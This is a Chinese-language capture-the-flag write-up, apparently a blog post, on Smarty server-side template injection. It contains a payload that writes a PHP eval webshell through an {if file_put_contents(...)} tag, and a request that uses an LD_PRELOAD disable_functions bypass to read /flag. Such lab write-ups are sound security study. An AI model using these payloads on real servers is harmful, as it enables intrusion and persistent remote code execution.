攻防世界smarty
(0)

1.基础知识

Smarty是最流行的PHP模板语言之一,为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在了一个disable_function)

2.检测

{$smarty.version}:


{phpinfo()}:


open_basedir是php.ini中的一个配置选项将 PHP 所能打开的文件限制在指定的目录树,包括文件本身。注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若"open_basedir = /var/www/html/:/tmp",用户不能获取除了/var/www/html/和/tmp(限制的是前缀而不是目录名,/tmp1也可以访问)这两个目录以外的文件

3.注入方法

  1. 常规{}
  2. {php}{/php}标签,(已经弃用,在Smarty 3.1,{php}仅在SmartyBC中可用)
  3. {literal}标签,(在PHP5的环境中可以使用)
  4. 静态方法(在3.1.30的Smarty版本中官方已经把该静态方法删除)
  5. {if}标签
    {if}标签可以使用 Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}

根据上面的php版本还有smarty版本可以得出要用{}或者{if}标签去做,而且系统命令执行函数被禁用,路径被限制不能读文件。
这里上传了一句话木马

{if file_put_contents('/var/www/html/shell.php','<?php eval($_POST[cmd]);')}

下面有篇文章(我太菜了,没有看懂)
无需sendmail:巧用LD_PRELOAD突破disable:https://www.freebuf.com/articles/web/192052.html
这里上传了两个文件

/bypass_disablefunc.php?cmd=cat /flag&outpath=/tmp/tmpfile&sopath=/var/www/html/bypass_disablefunc_x64.so

参考链接:ssti

本文为作者hackerbo.com发布,未经允许禁止转载!
上一篇 下一篇
评论
暂无评论 >_<
加入评论